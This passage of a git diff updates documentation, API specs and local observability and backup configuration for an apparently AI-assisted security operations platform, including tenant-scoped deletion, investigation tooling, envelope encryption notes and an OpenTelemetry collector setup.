+ - ./infra/docker/otel/tempo.yaml:/etc/tempo/tempo.yaml:ro
+ - tempo_data:/var/tempo
+ ports:
+ - "127.0.0.1:3200:3200"
+ networks:
+ - aisoc
+ profiles:
+ - monitoring
+
grafana:
image: grafana/grafana:10.2.0
container_name: aisoc-grafana
depends_on:
- prometheus
+ - tempo
ports:
- "127.0.0.1:3001:3000"
# Default admin password is intentionally weak for the dev compose stack;
diff --git a/docs/audit/CLAIM_TO_GATE_MATRIX.md b/docs/audit/CLAIM_TO_GATE_MATRIX.md
index 9ccf40bce..e66f43890 100644
--- a/docs/audit/CLAIM_TO_GATE_MATRIX.md
+++ b/docs/audit/CLAIM_TO_GATE_MATRIX.md
@@ -63,7 +63,7 @@ Statuses: `GATED` (a CI job fails when the claim stops being true) · `PARTIAL`
| Agentless CSPM scans a cloud snapshot for misconfigurations | README (cloud posture) | `ci.yml` api job (`test_compliance_cspm.py` — public S3, world-open security groups on sensitive ports, IAM users without MFA / stale keys, public/unencrypted RDS + EBS all flagged with severity + control refs; clean resources yield nothing) | GATED | - |
| Security findings/detections map to compliance controls with auto-evidence | README (compliance) | `ci.yml` api job (`test_compliance_cspm.py` — MITRE→control mapping, per-control evidence records for detections + CSPM findings, unknown controls skipped) | GATED | - |
| Alerts fan out to Opsgenie / email / external-SOAR destinations (SSRF-guarded) | README (destinations + SOAR) | `ci.yml` api job (`test_compliance_cspm.py` — Opsgenie priority mapping, email subject/recipients, `aisoc.handoff.v1` SOAR envelope; outbound webhook guard blocks non-http(s) schemes + private/loopback targets) | GATED | - |
-| Per-tenant configurable data retention with tenant-scoped purge | README (data lifecycle) | `ci.yml` api job (`test_retention.py` — defaults + tenant override merge, clamps to [1, 3650] days, mandatory tenant predicate in the ClickHouse purge, parameterised Postgres cutoff never string-interpolated) | GATED | - |
+| Per-tenant configurable data retention with tenant-scoped purge | README (data lifecycle) | `ci.yml` api job: `test_retention.py` (purge SQL well-formed — clamped window, mandatory tenant predicate, parameterised cutoff) **plus** `test_retention_worker.py`, which asserts the worker issues the delete, that a dry run reports the blast radius without deleting, that the alert delete binds its tenant explicitly (the worker runs with row security off, so relying on RLS would purge every tenant under the first tenant's window), that per-tenant windows are not shared, that tenants without an explicit policy are untouched, and that the count SQL used for the preview has the same predicate as the delete | GATED | `audit_days` is storable but not purged: the audit log is an append-only hash chain, so truncating it invalidates every later verification. Needs chain-aware truncation with a re-anchored checkpoint. |
| Self-service field-extraction / transform pipelines (custom parsers) | README (data lifecycle) | `ci.yml` api job (`test_pipeline_transforms.py` — the whitelisted DSL renames/maps/extracts onto OCSF with dotted paths + ReDoS-proof grok `extract` (re.escape'd literals + fixed token map, no raw user regex); validation rejects unknown ops/tokens / oversized pipelines; fail-open per op never drops an event; input never mutated) | GATED | - |
| Every package the README tells a visitor to install is published | README (Try AiSOC in 60 seconds) | `release.yml :: npm-publish` + `:: pypi-publish` (all eight distributions are built, packed and `twine check`ed on every release whether or not the upload is armed, so a package that stops being publishable fails the release rather than silently vanishing from the registry) | GATED | - |
| The install commands the README advertises actually run | README (on-ramp table) | `readme-gates.yml :: published-onramp` (runs `npx aisoc@latest triage --demo` and `pip install aisoc-sandbox && aisoc-sandbox demo` against the public registries on a clean runner with no checkout, Linux + macOS, daily as well as on diff; self-arming — warns while a package is unpublished, hard-fails once it exists and breaks) | GATED | - |
@@ -92,10 +92,28 @@ Statuses: `GATED` (a CI job fails when the claim stops being true) · `PARTIAL`
| Windowed detection rules are declarable without editing the engine | `detections/splunk-imports/_quarantine/README.md` | `validate-detections.yml` (`export_windowed_ruleset.py --check`) + `ci.yml` fusion tests (`test_windowed_ruleset_loader.py` — a malformed rule is skipped individually, a duplicate id cannot shadow a builtin threshold, and zero thresholds/windows are refused) | GATED | - |
| The agent's abstention rate and groundedness are published | `/metrics/funnel` | `ci.yml :: api tests` (`test_triage_quality_metrics.py` — asserts `mean_groundedness` averages only scored verdicts, so the deterministic path is not counted as zero, and that a missing column degrades rather than failing the funnel) | GATED | - |
| UEBA baselines non-human principals (service accounts, AI agents) | `apps/docs/docs/` (UEBA) | `ci.yml` ueba tests (`test_non_human_entities.py` — the entity-type list widened without becoming free text, and a zero-variance baseline returns None rather than a 0.0 that would read as permanently normal) | GATED | - |
+| Envelope encryption: per-secret DEKs wrapped by a KEK in KMS | platform-threat-model.md (information disclosure) | `ci.yml` api job (`test_credential_vault_envelope.py`) — vault writes `vault:v2` when enabled, distinct DEK per secret, `vault:v1` rows still decrypt after the switch, a v2 row fails closed if envelope mode is later disabled, and an unrecognised mode refuses to boot rather than silently writing v1 | GATED | KMS backends beyond AWS are implemented against the same protocol but not integration-tested |
+| Tenant offboarding erases data from every store | operations (data lifecycle) | `ci.yml` api job (`test_tenant_deletion.py`) — the Postgres table list is discovered from `information_schema` rather than hardcoded (14 of 72 tenant-scoped tables have no FK cascade, so a hardcoded list silently orphans them), the tenants row is deleted last, a failed satellite store rolls Postgres back and reports `complete: false`, and global MITRE reference nodes survive the graph purge | GATED | Neo4j MERGEs shared entities on `natural_key` with `tenant_id` as a property, so deleting by tenant can remove a node another tenant also referenced; it re-creates on their next ingest |
+| Per-tenant rate limiting on the public ingest inbox | operations (ingest) | `ci.yml` ingest job (`ratelimit_test.go`, run under `-race`) — separate request and event ceilings, one tenant cannot consume another's budget, a rejected batch consumes no quota, `Retry-After` always rounds up, and idle buckets are swept so the map cannot grow on an attacker-controlled dimension | GATED | limits are per replica (in-process), so the effective ceiling is rate x replicas; an exact global cap needs edge termination |
+| Incident resolves to identity, asset, cloud, business and threat context | architecture (context graph) | `ci.yml` api job (`test_incident_context.py`) — the test parses the generated Cypher and asserts every matched variable is tenant-scoped or is a label holding no tenant data, that no variable-length pattern binds a global label (which would bridge tenants), that every dimension is row-capped, and that one failing or slow dimension neither hangs nor discards the others; plus `ci.yml` agents job (`test_bundle_incident_context.py`) for the bundle and prompt wiring | GATED | population of the new labels from connectors is separate work; the traversal returns empty until they are written |
+| A failed context lookup is distinguishable from an alert with no context | architecture (context graph) | `ci.yml` api + agents jobs — an unreachable graph sets `partial` and names the failed dimensions, and the prompt states the gap explicitly rather than omitting it, because silence reads to a model as 'no context exists' | GATED | - |
+| Graph schema changes are versioned and applied to existing deployments | architecture (graph schema) | `graph-schema-check.yml` — the drift gate now compares Go and YAML in **both** directions (it previously only failed when YAML declared something Go lacked, which is the opposite of how the code changes, and passed with 28 Go labels against 17 in YAML); the version is read from schema.go rather than duplicated a third time; and `app.db.graph_migrations` records applied migrations so a schema change lands on existing deployments, not just fresh installs | GATED | ClickHouse and Qdrant still have no migration mechanism |
+| Investigations pivot through the estate rather than summarising one alert | README (recursive investigation) | `ci.yml` agents job: `scripts/check_investigation_depth.py` asserts the tool loop has a production caller (it shipped working with none), that every strategy names real tools, that every tool offered to the model is named by some strategy, and that selection discriminates rather than always returning the fallback; plus `test_deep_investigation.py`, where repeated calls to one tool count as one pivot and a tool reporting its data class is unavailable counts as none | GATED | the corpus arm of the gate grades recorded runs and is only exercised when the eval harness has been re-run |
+| The model never writes SQL and never supplies its own tenant | architecture (investigation tools) | `ci.yml` api job (`test_investigation_tools.py`) — every tool composes parameterised SQL with the tenant bound from the session, an injected `tenant_id` argument is discarded, entity names from untrusted alert payloads are bound not interpolated, and row and lookback limits are clamped | GATED | - |
+| A tool that cannot answer reports why, rather than returning nothing | architecture (investigation tools) | `ci.yml` api job — the four tools whose data class nothing ingests return `available: false` naming the connector that would populate it, never an empty result set (which reads to a model as 'I checked and found nothing'), and the test asserts the reason is an ingestion gap rather than an argument error, since both set the same flag | GATED | - |
+| Identity, organisational and business context can be imported and is re-runnable | architecture (context graph) | `ci.yml` api job (`test_context_import.py`) — an import never deletes, omitted fields do not blank stored values, `is_active` is derived from `end_date` rather than trusted (an export claiming a departed employee is active would erase the finding this data exists to enable), ids are namespaced per tenant, an unrecognised criticality is rejected rather than coerced because the autonomy policy reads it, and a CMDB host or account the platform has never ingested is reported as a coverage gap rather than created as a node that looks monitored; plus `graph` package tests for CloudAccount derivation from ARNs | GATED | Vulnerability and Secret nodes still need a scanner and CSPM feed; the threat chain needs the threatintel writer |
+| Every response action declares its impact, reversal, permission and verification | README (governed response) | `ci.yml` actions job: `scripts/check_action_contract.py` asserts all 30 executors declare a coherent contract. Defaults are unsafe on purpose (irreversible + prohibited), so an undeclared action fails closed and is named rather than quietly becoming dispatchable. A HIGH-impact action with no verification probe fails here rather than in an incident, and a declared reverse capability absent from the vocabulary fails too - the rollback path would otherwise resolve to nothing while believing it has a route back | GATED | - |
+| Approval is a function of confidence and impact, and only ever stricter | README (graduated autonomy) | `ci.yml` actions job (`test_approval_matrix.py`, 45 cases) - severe and irreversible impact never auto-execute at any tier or confidence, a contract demanding a human survives L4 at 100%, an unknown tier collapses to the most restrictive, and a missing confidence score is the lowest band rather than a free pass (otherwise a scoring bug becomes an autonomous action) | GATED | - |
+| The actions capability mirror matches the connectors enum | capabilities.py (mirror contract) | `ci.yml` actions job - folded into the contract gate. capabilities.py has documented this check at `tests/test_capability_mirror.py` for months; no such file exists, which is how four reverse verbs the contracts name went missing from both sides | GATED | - |
+| The benchmark is runnable against a third-party agent | README (public benchmark) | `ci.yml` agents job - `packages/aisoc-benchmark` defines a one-method adapter protocol with no import from this repository, plus an HTTP adapter, and the suite includes a live run against an external stub. A benchmark a vendor cannot run against their own product is a self-report | GATED | the published scoreboard still carries only our own runs; third-party submissions need a review process, not more code |
+| Hallucination, abstention and calibration are measured, not estimated | README (public benchmark) | `ci.yml` agents job (`test_benchmark.py`) - hallucination is the fraction of cited indicators absent from the evidence the agent was given and is graded on abstentions too; accuracy is computed over answered incidents only so abstaining cannot raise it; and the calibration gap exposes an agent more confident when wrong | GATED | - |
+| Benchmark figures declare the provenance of the corpus they came from | README (benchmark transparency) | `ci.yml` agents job - the runner refuses a corpus whose incidents do not declare provenance, the counts travel with the result so a consumer cannot drop them, `--limit` recounts over the slice rather than reporting the whole corpus, and the report prints provenance before any figure | GATED | the shipped corpus is 200 synthetic incidents; public-dataset and real-anonymised entries are supported by the schema but not yet contributed |
+| Analyst disagreement becomes durable organisation memory | README (learning from analysts) | `ci.yml` api job (`test_analyst_feedback.py`) - the reason vocabulary is closed, corroboration counts distinct analysts rather than rows (one person clicking the same button ten times is one opinion), an approved-pentest statement expires within 14 days because one that outlives the pentest is an attacker's best friend, rule defects route to detection engineering rather than becoming a suppression that hides them, and a compiled statement names the process, principal, host and window rather than degrading to 'PowerShell is expected' | GATED | the triage prompt does not yet read `active_statements`; the memory is written and queryable but not yet consumed |
+| Backup artifacts are encrypted at rest and integrity-checked | architecture.md (backup & restore) | `integration.yml` backup-restore job: asserts the uploaded object carries the AiSOC AEAD header, has no gzip magic, leaks no schema names, and is listed in a SHA-256 manifest; then flips a bit and asserts restore refuses it | GATED | - |
## Summary
-- GATED: 73
+- GATED: 91
- PARTIAL: 11
- NO GATE: 0 (**every claim is backed by a failing test.** The last NO GATE — the weekly benchmark scoreboard running live against `main` — closed in Phase E1: `scripts/check_scoreboard.py` ties the published scoreboard to a deterministic per-PR live-agent MITRE-accuracy run, while the funded weekly `wet-eval.yml` appends the LLM-tier rows. The remaining PARTIAL rows are honest, named deferrals — each states the specific gap and what closes it — not unproven claims.)
diff --git a/docs/openapi.yaml b/docs/openapi.yaml
index 434caca08..aaad54416 100644
--- a/docs/openapi.yaml
+++ b/docs/openapi.yaml
@@ -2349,6 +2349,48 @@ paths:
$ref: '#/components/schemas/HTTPValidationError'
security:
- HTTPBearer: []
+ /api/v1/tenants/me/delete:
+ post:
+ tags:
+ - tenants
+ summary: Delete My Tenant
+ description: 'Erase this tenant from Postgres, ClickHouse, Neo4j, Qdrant and
+ Redis.
+
+
+ Defaults to a dry run, which counts what would be removed per store
+
+ without deleting. A live run requires ``confirm_tenant_id`` to match, and
+
+ reports per-store results: if any store fails, the Postgres transaction is
+
+ rolled back so the tenant record still names whatever data survived
+
+ elsewhere, and ``complete`` is false.'
+ operationId: delete_my_tenant_api_v1_tenants_me_delete_post
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/TenantDeletionRequest'
+ required: true
+ responses:
+ '200':
+ description: Successful Response
+ content:
+ application/json:
+ schema:
+ additionalProperties: true
+ type: object
+ title: Response Delete My Tenant Api V1 Tenants Me Delete Post
+ '422':
+ description: Validation Error
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/HTTPValidationError'
+ security:
+ - HTTPBearer: []
/api/v1/tenants/me/users:
get:
tags:
@@ -3916,6 +3958,155 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/HTTPValidationError'
+ /api/v1/graph/incident-context/{alert_id}:
+ get:
+ tags:
+ - graph
+ summary: Traverse an alert into identity, asset, cloud, business and threat
+ context
+ description: 'Resolve one alert into the five dimensions an investigation needs.
+
+
+ Each dimension runs as its own bounded, tenant-scoped traversal, and they
+
+ run concurrently. A dimension that fails or times out names itself in
+
+ ``errors`` while the rest still return: this is on the hot path of every
+
+ escalated alert, so one slow leg must not take the bundle with it.
+
+
+ Returns 200 with ``partial: true`` rather than an error status when some
+
+ dimensions failed — the caller asked for context and got some.'
+ operationId: incident_context_api_v1_graph_incident_context__alert_id__get
+ security:
+ - HTTPBearer: []
+ parameters:
+ - name: alert_id
+ in: path
+ required: true
+ schema:
+ type: string
+ title: Alert Id
+ responses:
+ '200':
+ description: Successful Response
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/IncidentContextResponse'
+ '422':
+ description: Validation Error
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/HTTPValidationError'
+ /api/v1/graph/investigate/tools:
+ get:
+ tags:
+ - graph
+ summary: List the investigation primitives and which are backed by data
+ description: 'Enumerate the toolset, separating what can answer from what cannot.
+
+
+ The split is part of the contract. A tool whose data class is not
+
+ ingested reports that rather than returning an empty result, because an
+
+ empty result reads as "I checked and found nothing" — which is how an
+
+ investigation concludes benign on evidence it never had.'
+ operationId: list_investigation_tools_api_v1_graph_investigate_tools_get
+ responses:
+ '200':
+ description: Successful Response
+ content:
+ application/json:
+ schema:
+ additionalProperties: true
+ type: object
+ title: Response List Investigation Tools Api V1 Graph Investigate
+ Tools Get
+ security:
+ - HTTPBearer: []
+ /api/v1/graph/investigate/query:
+ post:
+ tags:
+ - graph
+ summary: Run one typed investigation primitive against the event lake
+ description: Execute one pivot. Tenant comes from the session, never the request.
+ operationId: run_investigation_tool_api_v1_graph_investigate_query_post
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/InvestigationToolRequest'
+ required: true
+ responses:
+ '200':
+ description: Successful Response
+ content:
+ application/json:
+ schema:
+ additionalProperties: true
+ type: object
+ title: Response Run Investigation Tool Api V1 Graph Investigate Query
+ Post
+ '422':
+ description: Validation Error
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/HTTPValidationError'
+ security:
+ - HTTPBearer: []
+ /api/v1/graph/context/import:
+ post:
+ tags:
+ - graph
+ summary: Import identity, organisational and business context into the graph
+ description: 'Upsert context records. Safe to run repeatedly on a schedule.
+
+
+ Records are merged rather than replaced: an import runs against a source
+
+ of record that may be partial, and replacing the tenant''s context with
+
+ whatever one run produced would delete a department because an HR export
+
+ timed out.
+
+
+ Every rejected record is returned with its reason. A partially-applied
+
+ import reporting success is worse than a rejected one, because afterwards
+
+ the gaps are invisible.'
+ operationId: import_graph_context_api_v1_graph_context_import_post
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ContextImportRequest'
+ required: true
+ responses:
+ '200':
+ description: Successful Response
+ content:
+ application/json:
+ schema:
+ additionalProperties: true
+ type: object
+ title: Response Import Graph Context Api V1 Graph Context Import Post
+ '422':
+ description: Validation Error
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/HTTPValidationError'
+ security:
+ - HTTPBearer: []
/api/v1/graph/neighbors/{entity_type}/{entity_id}:
get:
tags:
@@ -16644,6 +16835,48 @@ components:
knobs (poll interval, region, log filters) that the wizard surfaces
so an operator can tweak them without re-pasting credentials.'
+ ContextImportRequest:
+ properties:
+ departments:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Departments
+ employees:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Employees
+ applications:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Applications
+ cloud_accounts:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Cloud Accounts
+ type: object
+ title: ContextImportRequest
+ description: 'Directory, HR and CMDB context the event stream cannot carry.
+
+
+ An event can say an account authenticated. It cannot say which person
+
+ holds that account, whether they still work here, which business
+
+ application the host serves, or what an outage of it costs. That is the
+
+ difference between "unusual login for svc_deploy" and "unusual login for
+
+ svc_deploy, owned by a contractor whose last day was Friday, on the host
+
+ running the tier-1 payments service".'
ControlItem:
properties:
control_id:
@@ -19915,6 +20148,79 @@ components:
fingerprint instead, which is enough to identify the row but not
enough to forge inbound traffic.'
+ IncidentContextResponse:
+ properties:
+ alert_id:
+ type: string
+ title: Alert Id
+ tenant_id:
+ type: string
+ title: Tenant Id
+ identities:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Identities
+ assets:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Assets
+ cloud:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Cloud
+ business:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Business
+ threat:
+ items:
+ additionalProperties: true
+ type: object
+ type: array
+ title: Threat
+ dimensions_resolved:
+ type: integer
+ title: Dimensions Resolved
+ default: 0
+ partial:
+ type: boolean
+ title: Partial
+ default: false
+ errors:
+ items:
+ type: string
+ type: array
+ title: Errors
+ narrative:
+ items:
+ type: string
+ type: array
+ title: Narrative
+ type: object
+ required:
+ - alert_id
+ - tenant_id
+ title: IncidentContextResponse
+ description: 'The five context dimensions for one alert.
+
+
+ ``partial`` and ``errors`` are part of the contract, not diagnostics. An
+
+ empty bundle from an unreachable graph and an empty bundle from an alert
+
+ with genuinely no context look identical otherwise, and a consumer that
+
+ cannot tell them apart will treat "we could not look" as "there is
+
+ nothing to find".'
IndicatorCreate:
properties:
profile_id:
@@ -20247,6 +20553,31 @@ components:
default: ''
type: object
title: InvestigateRequest
+ InvestigationToolRequest:
+ properties:
+ tool:
+ type: string
+ title: Tool
+ args:
+ additionalProperties: true
+ type: object
+ title: Args
+ type: object
+ required:
+ - tool
+ title: InvestigationToolRequest
+ description: 'One typed investigation pivot.
+
+
+ ``tool`` names a primitive; ``args`` are its typed arguments. Deliberately
+
+ not SQL: handing a model the lake query endpoint puts prompt-injectable
+
+ text one step from the query planner, and the tenant predicate is the only
+
+ thing between two customers'' data. ``tenant_id`` is taken from the
+
+ authenticated session and any value supplied here is discarded.'
KBChunk:
properties:
doc_id:
@@ -25505,6 +25836,28 @@ components:
- created_at
- updated_at
title: TemplateOut
+ TenantDeletionRequest:
+ properties:
+ dry_run:
+ type: boolean
+ title: Dry Run
+ default: true
+ confirm_tenant_id:
+ anyOf:
+ - type: string
+ format: uuid
+ - type: 'null'
+ title: Confirm Tenant Id
+ type: object
+ title: TenantDeletionRequest
+ description: 'Offboarding request.
+
+
+ ``confirm_tenant_id`` must equal the tenant being erased. Typing the id is
+
+ the only thing standing between "preview the erase" and "erase", and this
+
+ endpoint has no undo.'
TenantHeaderResponse:
properties:
id:
diff --git a/docs/operations/observability.md b/docs/operations/observability.md
index 9c083968f..948e6a37d 100644
--- a/docs/operations/observability.md
+++ b/docs/operations/observability.md
@@ -27,14 +27,15 @@ For each service we track the standard golden signals:
## Single trace across services
-The critical path — `ingest → fusion → realtime → api → agents → actions` — is
-instrumented with **OpenTelemetry**, so one incident is one distributed trace
-from raw event to agent decision to response action. Traces export via OTLP to
-Jaeger/Tempo; spans carry the tenant and run/incident ids so a trace can be
-pulled up from any alert or investigation.
-
-- Trace context propagates across the Kafka spine (event → fused alert → alert
- row) and the HTTP hops (api ↔ agents ↔ actions ↔ fusion).
+**Partial today.** `api`, `agents`, `ueba` and `honeytokens` are instrumented with **OpenTelemetry** and export via OTLP. `ingest` (Go) and `realtime` (TypeScript) are **not instrumented**, and they are the two ends of the Kafka spine — so a trace does not yet run unbroken from raw event to response action. Spans that are emitted carry the tenant and run/incident ids.
+
+A collector now ships: `docker compose --profile monitoring up` starts an OpenTelemetry Collector on `otel-collector:4317` (the endpoint the services already default to) forwarding into Grafana Tempo, with Tempo wired into Grafana as a datasource alongside Prometheus. Previously no collector existed in any compose file, so out of the box every span went into a connection error — which is worse than no tracing, because the code looks instrumented and nobody can tell a missing span from a missing collector.
+
+Tempo's retention in the dev stack is 24 hours. It is there so a developer can follow a trace, not to retain them.
+
+- Trace context does **not** yet propagate across the Kafka spine, because the producing
+ and consuming ends are the two uninstrumented services. HTTP hops between the
+ instrumented services (api ↔ agents) do propagate.
- The Investigation Ledger records per-step model/tool attribution (see the
[model router](../concepts/model-router.md) and
[LLMOps](../concepts/llmops.md) docs), so the reasoning path inside the
diff --git a/docs/runbooks/LOCAL_DEVELOPMENT.md b/docs/runbooks/LOCAL_DEVELOPMENT.md
index f8ad8e098..bfbdef801 100644
--- a/docs/runbooks/LOCAL_DEVELOPMENT.md
+++ b/docs/runbooks/LOCAL_DEVELOPMENT.md
@@ -121,7 +121,7 @@ Then run individual services on the host where iteration is fastest.
```bash
cd services/api
poetry install
-poetry run alembic upgrade head # apply DB migrations
+poetry run python -m app.scripts.run_migrations # apply DB migrations (forward-only)
poetry run uvicorn app.main:app --reload --port 8000
```
@@ -289,7 +289,7 @@ docker exec -it aisoc-neo4j cypher-shell -u neo4j -p neo4j_dev_secret
```bash
cd services/api
-poetry run alembic upgrade head
+poetry run python -m app.scripts.run_migrations
```
---
@@ -298,7 +298,7 @@ poetry run alembic upgrade head
| Symptom | Likely cause | Fix |
|---------|--------------|-----|
-| `api` container restarts | Postgres not ready or migrations failed | `docker compose logs api` and run `alembic upgrade head` |
+| `api` container restarts | Postgres not ready or migrations failed | `docker compose logs api` and run `python -m app.scripts.run_migrations` |
| `fusion` 500 on `/ml/feedback` | DB schema missing | Run migrations (above) |
| `agents` boot loop | No `ANTHROPIC_API_KEY` or `OPENAI_API_KEY` | Set one in `.env`, `docker compose up -d agents` |
| OpenSearch refuses connection | Memory ulimit | Run `sysctl -w vm.max_map_count=262144` (Linux) |
diff --git a/docs/security/platform-threat-model.md b/docs/security/platform-threat-model.md
index b96c850f6..22a1f5c3e 100644
--- a/docs/security/platform-threat-model.md
+++ b/docs/security/platform-threat-model.md
@@ -42,8 +42,9 @@ flowchart LR
### Information disclosure (top risk for this asset)
- Threats: a DB dump or leaked `AISOC_CREDENTIAL_KEY` exposes every connector credential; plaintext secrets in logs.
- Controls:
- - **Envelope encryption** (`services/api/app/security/envelope_cipher.py`, Phase 1.6): each secret is encrypted with a per-secret DEK; the DEK is wrapped by a KEK that never leaves KMS/HSM (`AwsKmsKeyManager`; GCP KMS / Vault Transit implement the same `KeyManager` protocol). A DB dump yields only wrapped DEKs + ciphertext — useless without KMS `decrypt` permission. `LocalKeyManager` remains the default for hobby deploys.
- - Per-secret DEKs mean a single compromised DEK exposes one secret, not the whole vault.
+ - **Envelope encryption** (`services/api/app/security/envelope_cipher.py`), opt-in via `AISOC_CREDENTIAL_ENVELOPE=local|aws`. Each secret is encrypted under its own data-encryption key; only the *wrapped* DEK is stored beside the ciphertext. With `aws`, the KEK never leaves KMS, so a database dump yields wrapped DEKs and ciphertext that are useless without KMS `decrypt` permission. Per-secret DEKs also bound the blast radius: one compromised DEK exposes one secret, not the vault. Rotation is re-wrapping the DEKs (`EnvelopeCipher.rewrap`), which never touches plaintext. Written as `vault:v2:`.
+ - **Fernet authenticated encryption** (`services/api/app/security/credential_vault.py`) is the default and the read path for everything written before envelope mode was enabled (`vault:v1:`). Under v1 the risk a dump poses is bounded by `AISOC_CREDENTIAL_KEY` alone, which is why v2 exists.
+ - Enabling v2 needs no migration — v1 tokens keep decrypting and rows upgrade the next time they are written. Disabling it after v2 rows exist **fails closed** rather than handing ciphertext to a connector as if it were a credential.
- Leaf-level encryption keeps structural fields queryable while every secret value is ciphertext.
- The vault refuses to boot without a key outside development; plaintext keys never log.
diff --git a/docs/upgrade/MIGRATION.md b/docs/upgrade/MIGRATION.md
index 6ef03d4b0..113d79703 100644
--- a/docs/upgrade/MIGRATION.md
+++ b/docs/upgrade/MIGRATION.md
@@ -107,15 +107,18 @@ v4 introduces new tables (`api_keys`, `playbook_runs`, `investigation_steps`).
Run Alembic:
```bash
-docker compose run --rm api alembic upgrade head
+docker compose run --rm api python -m app.scripts.run_migrations
```
-Expected output:
+Expected output. Note this is the forward-only SQL runner, not Alembic — migrations are
+tracked by filename in `aisoc_schema_migrations` and there is no downgrade:
```
-INFO [alembic.runtime.migration] Running upgrade abc123 -> def456, add api_keys table
-INFO [alembic.runtime.migration] Running upgrade def456 -> ghi789, add playbook_runs table
-INFO [alembic.runtime.migration] Running upgrade ghi789 -> jkl012, add investigation_steps table
+INFO Found 62 migration files
+INFO 59 migrations already applied; 3 pending
+INFO ✓ applied 047_alerts_rule_provenance.sql
+INFO ✓ applied 048_outcome_suppressions.sql
+INFO ✓ applied 049_data_lifecycle.sql
```
---
diff --git a/infra/docker/grafana/datasources/tempo.yaml b/infra/docker/grafana/datasources/tempo.yaml
new file mode 100644
index 000000000..e373d71d9
--- /dev/null
+++ b/infra/docker/grafana/datasources/tempo.yaml
@@ -0,0 +1,15 @@
+apiVersion: 1
+
+datasources:
+ - name: Tempo
+ type: tempo
+ uid: aisoc-tempo
+ access: proxy
+ url: http://tempo:3200
+ jsonData:
+ # Jump from a span to the metrics around it. Without this the two
+ # panes are separate tools that happen to share a login.
+ tracesToMetrics:
+ datasourceUid: aisoc-prometheus
+ serviceMap:
+ datasourceUid: aisoc-prometheus
diff --git a/infra/docker/otel/collector.yaml b/infra/docker/otel/collector.yaml
new file mode 100644
index 000000000..59381ec25
--- /dev/null
+++ b/infra/docker/otel/collector.yaml
@@ -0,0 +1,60 @@
+# OpenTelemetry Collector for the local stack.
+#
+# The services default their exporter to http://otel-collector:4317 and no
+# collector shipped in any compose file, so out of the box every span went
+# into a connection error. That is worse than having no tracing: the code
+# looks instrumented, the logs fill with export failures, and nobody can
+# tell whether a missing trace means a missing span or a missing collector.
+#
+# Scope note, because the docs previously overstated it: `api`, `agents`,
+# `ueba` and `honeytokens` are instrumented. `ingest` (Go) and `realtime`
+# (TypeScript) are not, and they are the two ends of the Kafka spine — so a
+# trace does not yet run unbroken from raw event to response action.
+
+receivers:
+ otlp:
+ protocols:
+ grpc:
+ endpoint: 0.0.0.0:4317
+ http:
+ endpoint: 0.0.0.0:4318
+
+processors:
+ # Bounded so a burst cannot push the collector into an OOM kill, which in
+ # a dev stack looks identical to "tracing is broken".
+ memory_limiter:
+ check_interval: 1s
+ limit_mib: 384
+ spike_limit_mib: 96
+ batch:
+ timeout: 5s
+ send_batch_size: 512
+
+exporters:
+ otlp/tempo:
+ endpoint: tempo:4317
+ tls:
+ insecure: true
+ # Span counts, so the Prometheus stack can answer "is anything being
+ # traced at all" without opening Grafana.
+ prometheus:
+ endpoint: 0.0.0.0:8889
+
+extensions:
+ health_check:
+ endpoint: 0.0.0.0:13133
+
+service:
+ extensions: [health_check]
+ pipelines:
+ traces:
+ receivers: [otlp]
+ processors: [memory_limiter, batch]
+ exporters: [otlp/tempo]
+ metrics:
+ receivers: [otlp]
+ processors: [memory_limiter, batch]
+ exporters: [prometheus]
+ telemetry:
+ logs:
+ level: warn
diff --git a/infra/docker/otel/tempo.yaml b/infra/docker/otel/tempo.yaml
new file mode 100644
index 000000000..3c80f1dae
--- /dev/null
+++ b/infra/docker/otel/tempo.yaml
@@ -0,0 +1,29 @@
+# Minimal single-binary Tempo for the local stack. Local storage only:
+# this exists so a developer can follow a trace, not to retain them.
+server:
+ http_listen_port: 3200
+ grpc_listen_port: 9096
+
+distributor:
+ receivers:
+ otlp:
+ protocols:
+ grpc:
+ endpoint: 0.0.0.0:4317
+
+ingester:
+ max_block_duration: 5m
+
+compactor:
+ compaction:
+ # Short on purpose. A dev stack that silently fills a volume with traces
+ # is a worse experience than one that forgets them.
+ block_retention: 24h
+
+storage:
+ trace:
+ backend: local
+ local:
+ path: /var/tempo/blocks
+ wal:
+ path: /var/tempo/wal
diff --git a/infra/helm/aisoc/templates/backup-cronjob.yaml b/infra/helm/aisoc/templates/backup-cronjob.yaml
new file mode 100644
index 000000000..a173a8f14
--- /dev/null
+++ b/infra/helm/aisoc/templates/backup-cronjob.yaml
@@ -0,0 +1,111 @@
+{{- if .Values.backup.enabled }}
+{{- /*
+A backup script nobody runs is documentation, not a backup. scripts/backup.sh
+has been correct and unscheduled: every deployment guide told operators to
+"run it on a cron" and none of them shipped one, so the realistic state of a
+self-hosted install was no backups at all.
+
+This runs the same script the DR gate exercises in CI, so what is scheduled
+here is what has been proven to restore.
+*/ -}}
+apiVersion: batch/v1
+kind: CronJob
+metadata:
+ name: {{ include "aisoc.fullname" . }}-backup
+ labels:
+ {{- include "aisoc.labels" . | nindent 4 }}
+ app.kubernetes.io/component: backup
+spec:
+ schedule: {{ .Values.backup.schedule | quote }}
+ timeZone: {{ .Values.backup.timeZone | quote }}
+ concurrencyPolicy: Forbid
+ # Keep enough history that an operator can see a run start failing without
+ # having to catch it live. Failures are kept longer than successes because
+ # a failed backup is the one you need the logs for.
+ successfulJobsHistoryLimit: {{ .Values.backup.successfulJobsHistoryLimit }}
+ failedJobsHistoryLimit: {{ .Values.backup.failedJobsHistoryLimit }}
+ # Without this a cluster that was down over a scheduled window fires every
